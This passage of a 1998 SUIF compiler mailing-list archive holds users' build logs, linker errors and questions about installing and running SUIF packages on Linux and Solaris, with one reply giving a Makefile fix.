invalid lvalue in assignment runtime_seq.c:2445: invalid lvalue in assignment runtime_seq.c: In function `rcinld_': runtime_seq.c:5229: warning: missing braces around initializer for `(anonymous).__convert_long_double_i' runtime_seq.c: In function `rcixld_': runtime_seq.c:5242: warning: missing braces around initializer for `(anonymous).__convert_long_double_i' runtime_seq.c: At top level: runtime_seq.c:1991: warning: `_barrier' defined but not used runtime_seq.c:2003: warning: `_barrier2' defined but not used make[2]: *** [runtime_seq.o] Error 1 make[1]: *** [libruntime_seq.a] Error 2 make: *** [recursive] Error 1 ---------------------------------------------------------------- >From owner-suif-talk Tue Nov 10 21:58:15 1998 Received: by corsica.Stanford.EDU (8.9.1/8.9.1) id VAA25663 for suif-talk-doit; Tue, 10 Nov 1998 21:57:18 -0800 (PST) X-Authentication-Warning: corsica.Stanford.EDU: majordom set sender to owner-suif-talk@suif.stanford.edu using -f Received: from mail.iitk.ac.in ([202.54.56.131]) by corsica.Stanford.EDU (8.9.1/8.9.1) with ESMTP id VAA25655 for ; Tue, 10 Nov 1998 21:56:56 -0800 (PST) Received: from apah.cc.iitk.ernet.in (apah.cc.iitk.ernet.in [144.16.167.6]) by mail.iitk.ac.in (8.8.8/8.8.7) with SMTP id KAA05352 for ; Wed, 11 Nov 1998 10:20:53 +0530 Date: Wed, 11 Nov 1998 10:21:53 +0530 (IST) From: Alok Agarwal X-Sender: alokka@apah.cc.iitk.ernet.in To: suif-talk@corsica.Stanford.EDU Subject: Compiling programs. Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-suif-talk@corsica.stanford.edu Precedence: bulk Reply-To: Alok Agarwal I am facing a great problem in compiling suif programs. first of all, it does not finh the header files. But when I give path through cc -I .... then it finds the first level header files and none others. Do I have to use some makefiles to compile the program ?? I was compiling the dependence analysis program, given in documents of ""baseparsuif"". Can anybody tell me how to compile programs written using library functions of SUIF ?? ---- Alok Agarwal, Senior Undergraduate , CSE , A-120/I , I.I.T. Kanpur E-mail: alokka@iitk.ac.in alokka@rocketmail.com >From owner-suif-talk Wed Nov 11 04:54:28 1998 Received: by corsica.Stanford.EDU (8.9.1/8.9.1) id EAA26553 for suif-talk-doit; Wed, 11 Nov 1998 04:53:27 -0800 (PST) X-Authentication-Warning: corsica.Stanford.EDU: majordom set sender to owner-suif-talk@suif.stanford.edu using -f Received: from mail.iitk.ac.in ([202.54.56.131]) by corsica.Stanford.EDU (8.9.1/8.9.1) with ESMTP id EAA26547 for ; Wed, 11 Nov 1998 04:51:00 -0800 (PST) Received: from apah.cc.iitk.ernet.in (apah.cc.iitk.ernet.in [144.16.167.6]) by mail.iitk.ac.in (8.8.8/8.8.7) with SMTP id SAA14127 for ; Wed, 11 Nov 1998 18:17:37 +0530 Date: Wed, 11 Nov 1998 18:18:35 +0530 (IST) From: Alok Agarwal X-Sender: alokka@apah.cc.iitk.ernet.in To: suif-talk@corsica.Stanford.EDU Subject: Cookbook: core dump in prog4 Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-suif-talk@corsica.stanford.edu Precedence: bulk Reply-To: Alok Agarwal I was trying to run program from cookbook4 (using LINUX) and it is dumping core even on the test sample given. I tried to fogure it out and found that it is dumping on line 32 : void print_dep(in_array * ai1, in_array * ai2) { dvlist * dep = DependenceTest(ai1, ai2); ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Is there any problem with this ??. Actually I was not able to install baseparsuif completely, (installation stopping at run_time library installation), so copied the dependence library at appropriate place, and complied. Can anybody figure out what is the problem ?? -Thanks. ---- Alok Agarwal, Senior Undergraduate , CSE , A-120/I , I.I.T. Kanpur E-mail: alokka@iitk.ac.in alokka@rocketmail.com >From owner-suif-talk Wed Nov 11 07:08:26 1998 Received: by corsica.Stanford.EDU (8.9.1/8.9.1) id HAA26756 for suif-talk-doit; Wed, 11 Nov 1998 07:07:56 -0800 (PST) X-Authentication-Warning: corsica.Stanford.EDU: majordom set sender to owner-suif-talk@suif.stanford.edu using -f Received: from poste.uqac.uquebec.ca (poste.uqac.uquebec.ca [132.212.11.73]) by corsica.Stanford.EDU (8.9.1/8.9.1) with ESMTP id HAA26752 for ; Wed, 11 Nov 1998 07:07:49 -0800 (PST) Received: from dsaermetis.uqac.uquebec.ca (dsaermetis.uqac.uquebec.ca [132.212.200.93]) by poste.uqac.uquebec.ca (8.8.4/8.7.3) with SMTP id KAA06193 for ; Wed, 11 Nov 1998 10:07:24 -0500 (EST) Received: from uqac.uquebec.ca by dsaermetis.uqac.uquebec.ca (SMI-8.6/SMI-SVR4) id KAA03338; Wed, 11 Nov 1998 10:07:24 -0500 Message-ID: <3649A82B.748AAE5E@uqac.uquebec.ca> Date: Wed, 11 Nov 1998 10:07:24 -0500 From: Levis Theriault X-Mailer: Mozilla 4.06 [en] (X11; I; SunOS 5.5.1 sun4m) MIME-Version: 1.0 To: suif-talk@corsica.Stanford.EDU Subject: suifvbrowser 1.0.0.beta.1 Content-Type: multipart/alternative; boundary=""------------1E85A1BC8A9A32F5D566010B"" Sender: owner-suif-talk@corsica.stanford.edu Precedence: bulk Reply-To: Levis Theriault --------------1E85A1BC8A9A32F5D566010B Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hi, I wanted to install Suif on our SOLARIS 2.4. The first three packages installed is OK : basesuif 1.1.2 suifbuilder 1.0.0.beta.1 suifcallgraph 1.0.0.beta.1 baseparsuif 1.0.0.beta.2 I had problems installing : suifvbrowser 1.0.0.beta.1 The following happened : dsadocsvr:~/suifvbrowser/src/suifvbrowser-1.0.0.beta.1/vbrowser % gmake show-install make[1]: Entering directory `/nfs/dsa/sug7/ltheriau/suifvbrowser/src/suifvbrowser-1.0.0.beta.1/vbrowser' make[1]: Leaving directory `/nfs/dsa/sug7/ltheriau/suifvbrowser/src/suifvbrowser-1.0.0.beta.1/vbrowser' suifvbrowser/vbrowser ... FAILED -- see suifvbrowser/vbrowser/install.log dsadocsvr:~/suifvbrowser/src/suifvbrowser-1.0.0.beta.1/vbrowser % less install.log make[1]: Entering directory `/nfs/dsa/sug7/ltheriau/suifvbrowser/src/suifvbrowser-1.0.0.beta.1/vbrowser' if test -d RCS ; then \\ rm -rf /nfs/dsa/sug7/suif/basesuif-1.1.2/src/suifvbrowser/vbrowser ; \\ else : ; \\ fi make[1]: Leaving directory `/nfs/dsa/sug7/ltheriau/suifvbrowser/src/suifvbrowser-1.0.0.beta.1/vbrowser' make[1]: Entering directory `/nfs/dsa/sug7/ltheriau/suifvbrowser/src/suifvbrowser-1.0.0.beta.1/vbrowser' if test -d RCS ; then \\ mkdir /nfs/dsa/sug7/suif/basesuif-1.1.2/src/suifvbrowser/vbrowser ; \\ chmod 775 /nfs/dsa/sug7/suif/basesuif-1.1.2/src/suifvbrowser/vbrowser ; \\ else : ; \\ fi make[1]: Leaving directory `/nfs/dsa/sug7/ltheriau/suifvbrowser/src/suifvbrowser-1.0.0.beta.1/vbrowser' make[1]: Entering directory `/nfs/dsa/sug7/ltheriau/suifvbrowser/src/suifvbrowser-1.0.0.beta.1/vbrowser' g++ -o vbrowser -g -Wall -Wno-unused -I/nfs/dsa/sug7/suif/basesuif-1.1.2/include vbrowser.o pointer_module.o help.o suif_init.o \\ -L/nfs/dsa/sug7/suif/basesuif-1.1.2/sparc-sun-solaris2.5/solib -L/nfs/dsa/sug7/suif/basesuif-1.1.2/sparc-sun-solaris2.5/lib -lvsuif -lvisual -lcg -lannotes -luseful -lsuif -ltk -ltcl -lX11 -lm prog_ver.cc Undefined first referenced symbol in file socket /nfs/dsa/sug7/ltheriau/tcltk/libtcl.a(tclUnixChan.o) getpeername /nfs/dsa/sug7/ltheriau/tcltk/libtcl.a(tclUnixChan.o) recv /nfs/dsa/sug7/ltheriau/tcltk/libtcl.a(tclUnixChan.o) xdrmem_create /usr/logiciel/gnu5/lib/libX11.so gethostbyname /nfs/dsa/sug7/ltheriau/tcltk/libtcl.a(tclUnixChan.o) accept /nfs/dsa/sug7/ltheriau/tcltk/libtcl.a(tclUnixChan.o) send /nfs/dsa/sug7/ltheriau/tcltk/libtcl.a(tclUnixChan.o) bind /nfs/dsa/sug7/ltheriau/tcltk/libtcl.a(tclUnixChan.o) setsockopt /nfs/dsa/sug7/ltheriau/tcltk/libtcl.a(tclIOSock.o) getservbyname /nfs/dsa/sug7/ltheriau/tcltk/libtcl.a(tclIOSock.o) Tk_CreateMainWindow /nfs/dsa/sug7/suif/basesuif-1.1.2/sparc-sun-solaris2.5/lib/libvisual.a(visual.o) gethostbyaddr /nfs/dsa/sug7/ltheriau/tcltk/libtcl.a(tclUnixChan.o) getsockopt /nfs/dsa/sug7/ltheriau/tcltk/libtcl.a(tclIOSock.o) authdes_create /usr/logiciel/gnu5/lib/libX11.so inet_addr /nfs/dsa/sug7/ltheriau/tcltk/libtcl.a(tclUnixChan.o) inet_ntoa /nfs/dsa/sug7/ltheriau/tcltk/libtcl.a(tclUnixChan.o) shutdown /usr/logiciel/gnu5/lib/libX11.so getsockname /nfs/dsa/sug7/ltheriau/tcltk/libtcl.a(tclUnixChan.o) dlsym /nfs/dsa/sug7/ltheriau/tcltk/libtcl.a(tclLoadDl.o) (symbol belongs to implicit dependency /usr/lib/libdl.so.1) dlopen /nfs/dsa/sug7/ltheriau/tcltk/libtcl.a(tclLoadDl.o) (symbol belongs to implicit dependency /usr/lib/libdl.so.1) dlerror /nfs/dsa/sug7/ltheriau/tcltk/libtcl.a(tclLoadDl.o) (symbol belongs to implicit dependency /usr/lib/libdl.so.1) listen /nfs/dsa/sug7/ltheriau/tcltk/libtcl.a(tclUnixChan.o) connect /nfs/dsa/sug7/ltheriau/tcltk/libtcl.a(tclUnixChan.o) ld: fatal: Symbol referencing errors. No output written to vbrowser make[3]: *** [vbrowser] Error 1 make[2]: *** [vbrowser] Error 2 make[1]: *** [reinstall-keep-src] Error 2 make[1]: Leaving directory `/nfs/dsa/sug7/ltheriau/suifvbrowser/src/suifvbrowser-1.0.0.beta.1/vbrowser' make[1]: Entering directory `/nfs/dsa/sug7/ltheriau/suifvbrowser/src/suifvbrowser-1.0.0.beta.1/vbrowser' make[1]: Nothing to be done for `install-verdata'. make[1]: Leaving directory `/nfs/dsa/sug7/ltheriau/suifvbrowser/src/suifvbrowser-1.0.0.beta.1/vbrowser' --> ld: fatal: Symbol referencing errors. No output written to vbrowser !!! What is the problem, please? Regards, ps - thanks for the patches from package ""baseparsuif 1.0.0.beta.2""... the setting up successfully. Levis. -- ************************************************************************ Levis Theriault ERMETIS-UQAC Local 2-205 555 bould. de l'Universite Chicoutimi (Quebec) G7H 2B1 Tel: (418) 545-5011 ext. 2268 E-mail: ltheriau@uqac.uquebec.ca ************************************************************************ --------------1E85A1BC8A9A32F5D566010B Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit   Hi, I wanted to install Suif on our SOLARIS 2.4. The first three packages installed is OK :         basesuif 1.1.2         suifbuilder 1.0.0.beta.1         suifcallgraph 1.0.0.beta.1         baseparsuif 1.0.0.beta.2 I had problems installing :         suifvbrowser 1.0.0.beta.1   The following happened : dsadocsvr:~/suifvbrowser/src/suifvbrowser-1.0.0.beta.1/vbrowser % gmake show-install make[1]: Entering directory `/nfs/dsa/sug7/ltheriau/suifvbrowser/src/suifvbrowser-1.0.0.beta.1/vbrowser' make[1]: Leaving directory `/nfs/dsa/sug7/ltheriau/suifvbrowser/src/suifvbrowser-1.0.0.beta.1/vbrowser' suifvbrowser/vbrowser ... FAILED -- see suifvbrowser/vbrowser/install.log   dsadocsvr:~/suifvbrowser/src/suifvbrowser-1.0.0.beta.1/vbrowser % less install.log make[1]: Entering directory `/nfs/dsa/sug7/ltheriau/suifvbrowser/src/suifvbrowser-1.0.0.beta.1/vbrowser' if test -d RCS ; then \\   rm -rf /nfs/dsa/sug7/suif/basesuif-1.1.2/src/suifvbrowser/vbrowser ; \\  else : ; \\  fi make[1]: Leaving directory `/nfs/dsa/sug7/ltheriau/suifvbrowser/src/suifvbrowser-1.0.0.beta.1/vbrowser' make[1]: Entering directory `/nfs/dsa/sug7/ltheriau/suifvbrowser/src/suifvbrowser-1.0.0.beta.1/vbrowser' if test -d RCS ; then \\   mkdir /nfs/dsa/sug7/suif/basesuif-1.1.2/src/suifvbrowser/vbrowser ; \\   chmod 775 /nfs/dsa/sug7/suif/basesuif-1.1.2/src/suifvbrowser/vbrowser ; \\  else : ; \\  fi make[1]: Leaving directory `/nfs/dsa/sug7/ltheriau/suifvbrowser/src/suifvbrowser-1.0.0.beta.1/vbrowser' make[1]: Entering directory `/nfs/dsa/sug7/ltheriau/suifvbrowser/src/suifvbrowser-1.0.0.beta.1/vbrowser' g++ -o vbrowser -g -Wall -Wno-unused   -I/nfs/dsa/sug7/suif/basesuif-1.1.2/include   vbrowser.o pointer_module.o help.o suif_init.o \\    -L/nfs/dsa/sug7/suif/basesuif-1.1.2/sparc-sun-solaris2.5/solib -L/nfs/dsa/sug7/suif/basesuif-1.1.2/sparc-sun-solaris2.5/lib  -lvsuif -lvisual -lcg -lannotes -luseful -lsuif -ltk -ltcl -lX11 -lm prog_ver.cc Undefined   first referenced  symbol         in file socket                              /nfs/dsa/sug7/ltheriau/tcltk/libtcl.a(tclUnixChan.o) getpeername                         /nfs/dsa/sug7/ltheriau/tcltk/libtcl.a(tclUnixChan.o) recv                                /nfs/dsa/sug7/ltheriau/tcltk/libtcl.a(tclUnixChan.o) xdrmem_create                       /usr/logiciel/gnu5/lib/libX11.so gethostbyname                       /nfs/dsa/sug7/ltheriau/tcltk/libtcl.a(tclUnixChan.o) accept                              /nfs/dsa/sug7/ltheriau/tcltk/libtcl.a(tclUnixChan.o) send                                /nfs/dsa/sug7/ltheriau/tcltk/libtcl.a(tclUnixChan.o) bind                                /nfs/dsa/sug7/ltheriau/tcltk/libtcl.a(tclUnixChan.o) setsockopt                          /nfs/dsa/sug7/ltheriau/tcltk/libtcl.a(tclIOSock.o) getservbyname                       /nfs/dsa/sug7/ltheriau/tcltk/libtcl.a(tclIOSock.o) Tk_CreateMainWindow                 /nfs/dsa/sug7/suif/basesuif-1.1.2/sparc-sun-solaris2.5/lib/libvisual.a(visual.o) gethostbyaddr                       /nfs/dsa/sug7/ltheriau/tcltk/libtcl.a(tclUnixChan.o) getsockopt                          /nfs/dsa/sug7/ltheriau/tcltk/libtcl.a(tclIOSock.o) authdes_create                      /usr/logiciel/gnu5/lib/libX11.so inet_addr                           /nfs/dsa/sug7/ltheriau/tcltk/libtcl.a(tclUnixChan.o) inet_ntoa                           /nfs/dsa/sug7/ltheriau/tcltk/libtcl.a(tclUnixChan.o) shutdown                            /usr/logiciel/gnu5/lib/libX11.so getsockname                         /nfs/dsa/sug7/ltheriau/tcltk/libtcl.a(tclUnixChan.o) dlsym                               /nfs/dsa/sug7/ltheriau/tcltk/libtcl.a(tclLoadDl.o)  (symbol belongs to implicit dependency /usr/lib/libdl.so.1) dlopen                              /nfs/dsa/sug7/ltheriau/tcltk/libtcl.a(tclLoadDl.o)  (symbol belongs to implicit dependency /usr/lib/libdl.so.1) dlerror                             /nfs/dsa/sug7/ltheriau/tcltk/libtcl.a(tclLoadDl.o)  (symbol belongs to implicit dependency /usr/lib/libdl.so.1) listen                              /nfs/dsa/sug7/ltheriau/tcltk/libtcl.a(tclUnixChan.o) connect                             /nfs/dsa/sug7/ltheriau/tcltk/libtcl.a(tclUnixChan.o) ld: fatal: Symbol referencing errors. No output written to vbrowser make[3]: *** [vbrowser] Error 1 make[2]: *** [vbrowser] Error 2 make[1]: *** [reinstall-keep-src] Error 2 make[1]: Leaving directory `/nfs/dsa/sug7/ltheriau/suifvbrowser/src/suifvbrowser-1.0.0.beta.1/vbrowser' make[1]: Entering directory `/nfs/dsa/sug7/ltheriau/suifvbrowser/src/suifvbrowser-1.0.0.beta.1/vbrowser' make[1]: Nothing to be done for `install-verdata'. make[1]: Leaving directory `/nfs/dsa/sug7/ltheriau/suifvbrowser/src/suifvbrowser-1.0.0.beta.1/vbrowser'   --> ld: fatal: Symbol referencing errors. No output written to vbrowser !!! What is the problem, please? Regards, ps - thanks for the patches from package ""baseparsuif 1.0.0.beta.2""... the setting up successfully. Levis. --  ************************************************************************ Levis Theriault ERMETIS-UQAC Local 2-205 555 bould. de l'Universite Chicoutimi (Quebec) G7H 2B1 Tel: (418) 545-5011 ext. 2268 E-mail: ltheriau@uqac.uquebec.ca ************************************************************************   --------------1E85A1BC8A9A32F5D566010B-- >From owner-suif-talk Wed Nov 11 07:54:20 1998 Received: by corsica.Stanford.EDU (8.9.1/8.9.1) id HAA26838 for suif-talk-doit; Wed, 11 Nov 1998 07:54:14 -0800 (PST) X-Authentication-Warning: corsica.Stanford.EDU: majordom set sender to owner-suif-talk@suif.stanford.edu using -f Received: from eng.wayne.edu (hub.eng.wayne.edu [141.217.13.43]) by corsica.Stanford.EDU (8.9.1/8.9.1) with SMTP id HAA26834 for ; Wed, 11 Nov 1998 07:54:13 -0800 (PST) Received: from atharvan.eng.wayne.edu by eng.wayne.edu (4.1/SMI-SVR4) id AA23404; Wed, 11 Nov 98 10:52:11 EST Received: by atharvan.eng.wayne.edu (SMI-8.6/SMI-SVR4) id KAA17674; Wed, 11 Nov 1998 10:51:59 -0500 Date: Wed, 11 Nov 1998 10:51:59 -0500 From: sumit@atharvan.eng.wayne.edu (Sumit Roy) Message-Id: <199811111551.KAA17674@atharvan.eng.wayne.edu> To: ltheriau@uqac.uquebec.ca Subject: Re: suifvbrowser 1.0.0.beta.1 Cc: suif-talk@corsica.Stanford.EDU Content-Type: X-sun-attachment Sender: owner-suif-talk@corsica.stanford.edu Precedence: bulk Reply-To: sumit@atharvan.eng.wayne.edu (Sumit Roy) ---------- X-Sun-Data-Type: text X-Sun-Data-Description: text X-Sun-Data-Name: text X-Sun-Charset: us-ascii X-Sun-Content-Lines: 6 Hi, you have to add ""-lsocket -lnsl"" to the list of libraries used to compile vbrowser. I have attached the Makefile from $SUIFHOME/src/suifvbrowser/vbrowser. Sumit ---------- X-Sun-Data-Type: default X-Sun-Data-Description: default X-Sun-Data-Name: Makefile X-Sun-Charset: us-ascii X-Sun-Content-Lines: 14 TARGET = vbrowser SUPER_PACKAGES_PATH = suifvbrowser LIBS = -lvsuif -lvisual -lcg -lannotes -luseful -lsuif \\ -ltk -ltcl -lX11 -lm -lsocket -lnsl -ldl MANPAGES = vbrowser.1 HEADERS = vbrowser.h includes.h pointer_module.h SRCS = vbrowser.cc pointer_module.cc help.cc OBJS = vbrowser.o pointer_module.o help.o EXTRA_CXXFLAGS = $(TCL_INCLUDE_FLAGS) all: prog install-bin: install-prog include $(SUIFHOME)/Makefile.std >From owner-suif-talk Wed Nov 11 08:16:48 1998 Received: by corsica.Stanford.EDU (8.9.1/8.9.1) id IAA26908 for suif-talk-doit; Wed, 11 Nov 1998 08:16:36 -0800 (PST) X-Authentication-Warning: corsica.Stanford.EDU: majordom set sender to owner-suif-talk@suif.stanford.edu using -f Received: from mail.iitk.ac.in ([202.54.56.131]) by corsica.Stanford.EDU (8.9.1/8.9.1) with ESMTP id IAA26897 for ; Wed, 11 Nov 1998 08:15:14 -0800 (PST) Received: from pc028 (alokka@pc028.cse.iitk.ernet.in [144.16.162.28]) by mail.iitk.ac.in (8.8.8/8.8.7) with SMTP id VAA16269 for ; Wed, 11 Nov 1998 21:46:17 +0530 Date: Wed, 11 Nov 1998 21:44:33 +0530 (IST) From: Alok Agarwal X-Sender: alokka@pc028.cse.iitk.ernet.in. To: suif-talk@corsica.Stanford.EDU Subject: Problem with predep Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-suif-talk@corsica.stanford.edu Precedence: bulk Reply-To: Alok Agarwal Hi all, I was passing my program through various passes as suggested in ""SUIF Parallelizing compiler guide"" and when it was passing through 'predep -presc' it gave following errors : **** Program: predep **** Assertion failure in file ""immed.cc"" at line 381 (module libsuif.a) **** immed::string - type is and dumped core. Do anybody know what is the problem ??? Please tell me since I can't proceed. -thanks -Alok Agarwal. >From owner-suif-talk Wed Nov 11 13:50:25 1998 Received: by corsica.Stanford.EDU (8.9.1/8.9.1) id NAA27891 for suif-talk-doit; Wed, 11 Nov 1998 13:49:23 -0800 (PST) X-Authentication-Warning: corsica.Stanford.EDU: majordom set sender to owner-suif-talk@suif.stanford.edu using -f Received: from poste.uqac.uquebec.ca (poste.uqac.uquebec.ca [132.212.11.73]) by corsica.Stanford.EDU (8.9.1/8.9.1) with ESMTP id NAA27887 for ; Wed, 11 Nov 1998 13:49:21 -0800 (PST) Received: from dsaermetis.uqac.uquebec.ca (dsaermetis.uqac.uquebec.ca [132.212.200.93]) by poste.uqac.uquebec.ca (8.8.4/8.7.3) with SMTP id QAA10164; Wed, 11 Nov 1998 16:48:24 -0500 (EST) Received: from uqac.uquebec.ca by dsaermetis.uqac.uquebec.ca (SMI-8.6/SMI-SVR4) id QAA01496; Wed, 11 Nov 1998 16:48:24 -0500 Message-ID: <364A0627.8C8DF98C@uqac.uquebec.ca> Date: Wed, 11 Nov 1998 16:48:23 -0500 From: Levis Theriault X-Mailer: Mozilla 4.06 [en] (X11; I; SunOS 5.5.1 sun4m) MIME-Version: 1.0 To: suif-talk@corsica.Stanford.EDU CC: suif-talk@corsica.Stanford.EDU, sumit@atharvan.eng.wayne.edu, cwilson@cs.stanford.edu Subject: suifvbrowser1.0.0.beta.1 Content-Type: multipart/alternative; boundary=""------------99FA40FD2B566297B8D87998"" Sender: owner-suif-talk@corsica.stanford.edu Precedence: bulk Reply-To: Levis Theriault --------------99FA40FD2B566297B8D87998 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hi, I wanted to install Suif on our SOLARIS 2.4. The packages installed is OK : basesuif 1.1.2 suifbuilder 1.0.0.beta.1 suifcallgraph 1.0.0.beta.1 baseparsuif 1.0.0.beta.2 suifvbrowser 1.0.0.beta.1 I had problem with the executable (""sbrowser""). The following happened : dsaermetis:~/suifvbrowser/src/suifvbrowser/vbrowser % vbrowser ld.so.1: vbrowser: fatal: libX11.so.6.0: can't open file: errno=2 Killed The ""libX11.so.6.0"" is not using for installation package, our library is ""libX11.so.4"". I find it hard to understand his utility executable ""vbrowser"" is using not ""libX11.so.6.0"" at the time of installation, but I use ""libX11.so.4"". What is the problem, please? Regards, Levis. -- ************************************************************************ Levis Theriault ERMETIS-UQAC Local 2-205 555 bould. de l'Universite Chicoutimi (Quebec) G7H 2B1 Tel: (418) 545-5011 ext. 2268 E-mail: ltheriau@uqac.uquebec.ca ************************************************************************ --------------99FA40FD2B566297B8D87998 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit Hi, I wanted to install Suif on our SOLARIS 2.4. The packages installed is OK :         basesuif 1.1.2         suifbuilder 1.0.0.beta.1         suifcallgraph 1.0.0.beta.1         baseparsuif 1.0.0.beta.2         suifvbrowser 1.0.0.beta.1 I had problem with the executable (""sbrowser""). The following happened : dsaermetis:~/suifvbrowser/src/suifvbrowser/vbrowser % vbrowser ld.so.1: vbrowser: fatal: libX11.so.6.0: can't open file: errno=2 Killed The ""libX11.so.6.0"" is not using for installation package, our library is ""libX11.so.4"". I find it hard to understand his utility executable ""vbrowser"" is using not ""libX11.so.6.0"" at the time of installation, but I use ""libX11.so.4"". What is the problem, please? Regards, Levis.   --  ************************************************************************ Levis Theriault ERMETIS-UQAC Local 2-205 555 bould. de l'Universite Chicoutimi (Quebec) G7H 2B1 Tel: (418) 545-5011 ext. 2268 E-mail: ltheriau@uqac.uquebec.ca ************************************************************************   --------------99FA40FD2B566297B8D87998-- >From owner-suif-talk Thu Nov 12 08:58:58 1998 Received: by corsica.Stanford.EDU (8.9.1/8.9.1) id IAA00895 for suif-talk-doit; Thu, 12 Nov 1998 08:57:44 -0800 (PST) X-Authentication-Warning: corsica.Stanford.EDU: majordom set sender to owner-suif-talk@suif.stanford.edu using -f Received: from poste.uqac.uquebec.ca (poste.uqac.uquebec.ca [132.212.11.73]) by corsica.Stanford.EDU (8.9.1/8.9.1) with ESMTP id IAA00891 for ; Thu, 12 Nov 1998 08:57:41 -0800 (PST) Received: from dsaermetis.uqac.uquebec.ca (dsaermetis.uqac.uquebec.ca [132.212.200.93]) by poste.uqac.uquebec.ca (8.8.4/8.7.3) with SMTP id LAA18091; Thu, 12 Nov 1998 11:56:46 -0500 (EST) Received: from uqac.uquebec.ca by dsaermetis.uqac.uquebec.ca (SMI-8.6/SMI-SVR4) id LAA02308; Thu, 12 Nov 1998 11:56:46 -0500 Message-ID: <364B134C.37032AD@uqac.uquebec.ca> Date: Thu, 12 Nov 1998 11:56:45 -0500 From: Levis Theriault X-Mailer: Mozilla 4.06 [en] (X11; I; SunOS 5.5.1 sun4m) MIME-Version: 1.0 To: suif-talk@corsica.Stanford.EDU CC: suif-talk@corsica.Stanford.EDU, sumit@atharvan.eng.wayne.edu, cwilson@cs.stanford.edu Subject: profiling passes Content-Type: multipart/alternative; boundary=""------------096A3535B881D7F5454A7AD1"" Sender: owner-suif-talk@corsica.stanford.edu Precedence: bulk Reply-To: Levis Theriault --------------096A3535B881D7F5454A7AD1 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hi, I like obtained the ""profiling passes"" written by Todd Mowry. The URL where obtained information is : http://suif.stanford.edu/~jlim/visualsuif.html - here is the message ... /------------------------------------------------------------------------------------------------------------\\ Profile Viewer The profile viewer displays various profile information: Profile information obtained from pixie. The Suif file must contain specific profiling information (of annotations ""if_feedback"", ""loop_feedback"", ..). The profile information is obtained from profiling passes written by Todd Mowry. Runtime statistics printed out by the runtime library. Pipe the runtime library output to a file, and then open the file under the Profile Viewer, to display the information. The viewer allows you to link the runtime statistics to the source codes or Suif codes. \\------------------------------------------------------------------------------------------------------------/ Where I can get the ""profiling passes"" in question!!! Regards, Levis. -- ************************************************************************ Levis Theriault ERMETIS-UQAC Local 2-205 555 bould. de l'Universite Chicoutimi (Quebec) G7H 2B1 Tel: (418) 545-5011 ext. 2268 E-mail: ltheriau@uqac.uquebec.ca ************************************************************************ --------------096A3535B881D7F5454A7AD1 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit Hi, I like obtained the ""profiling passes"" written by Todd Mowry. The URL where obtained information is : http://suif.stanford.edu/~jlim/visualsuif.html - here is the message ... /------------------------------------------------------------------------------------------------------------\\ Profile Viewer The profile viewer displays various profile information:     Profile information obtained from pixie. The Suif file must contain specific profiling information (of annotations ""if_feedback"", ""loop_feedback"",     ..). The profile information is obtained from profiling passes written by Todd Mowry.     Runtime statistics printed out by the runtime library. Pipe the runtime library output to a file, and then open the file under the Profile     Viewer, to display the information. The viewer allows you to link the runtime statistics to the source codes or Suif codes. \\------------------------------------------------------------------------------------------------------------/ Where I can get the ""profiling passes"" in question!!! Regards, Levis.   --  ************************************************************************ Levis Theriault ERMETIS-UQAC Local 2-205 555 bould. de l'Universite Chicoutimi (Quebec) G7H 2B1 Tel: (418) 545-5011 ext. 2268 E-mail: ltheriau@uqac.uquebec.ca ************************************************************************   --------------096A3535B881D7F5454A7AD1-- >From owner-suif-talk Fri Nov 13 12:44:59 1998 Received: by corsica.Stanford.EDU (8.9.1/8.9.1) id MAA04655 for suif-talk-doit; Fri, 13 Nov 1998 12:43:51 -0800 (PST) Received: from cs.clemson.edu (citron.cs.clemson.edu [130.127.48.6]) by corsica.Stanford.EDU (8.9.1/8.9.1) with ESMTP id MAA04651 for ; Fri, 13 Nov 1998 12:43:42 -0800 (PST) Received: from comet8.cs.clemson.edu (comet8 [130.127.48.67]) by cs.clemson.edu (8.8.8/8.8.8) with ESMTP id PAA11470 for ; Fri, 13 Nov 1998 15:44:00 -0500 (EST) Received: from localhost (hotlewp@localhost) by comet8.cs.clemson.edu (8.8.8/8.8.8) with SMTP id PAA05185 for ; Fri, 13 Nov 1998 15:44:00 -0500 (EST) X-Authentication-Warning: comet8.cs.clemson.edu: hotlewp owned process doing -bs Date: Fri, 13 Nov 1998 15:44:00 -0500 (EST) From: Hotle William P X-Sender: hotlewp@comet8 To: SUIF Talk mailing list Subject: SUIF to simplescalar tools Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-suif-talk@corsica.stanford.edu Precedence: bulk Reply-To: Hotle William P Is anyone currently working to port SUIF to a SimpleScalar Tools simulator? Any info or guidance would be appreciated. Thanks. ------------------------------------------------------------ * Bill Hotle, Clemson University Computer Science Dept. * * E-Mail - hotlewp@cs.clemson.edu , Home - whotle@aol.com * * Web Page - www.clemson.edu/~whotle * * Office - G-17 Jordan Hall Phone 656-2841 * >From owner-suif-talk Fri Nov 13 13:41:11 1998 Received: by corsica.Stanford.EDU (8.9.1/8.9.1) id NAA04791 for suif-talk-doit; Fri, 13 Nov 1998 13:41:08 -0800 (PST) X-Authentication-Warning: corsica.Stanford.EDU: majordom set sender to owner-suif-talk@suif.stanford.edu using -f Received: from miris.lcs.mit.edu (root@miris.lcs.mit.edu [18.111.0.89]) by corsica.Stanford.EDU (8.9.1/8.9.1) with ESMTP id NAA04787 for ; Fri, 13 Nov 1998 13:41:03 -0800 (PST) Received: from miris.lcs.mit.edu (beng@localhost [127.0.0.1]) by miris.lcs.mit.edu (8.8.7/8.8.7) with ESMTP id QAA18906; Fri, 13 Nov 1998 16:40:52 -0500 (EST) Message-Id: <199811132140.QAA18906@miris.lcs.mit.edu> To: Hotle William P cc: SUIF Talk mailing list Subject: Re: SUIF to simplescalar tools In-reply-to: Your message of ""Fri, 13 Nov 1998 15:44:00 EST."" From: Benjamin Greenwald X-Sender: beng@lcs.mit.edu Date: Fri, 13 Nov 1998 16:40:52 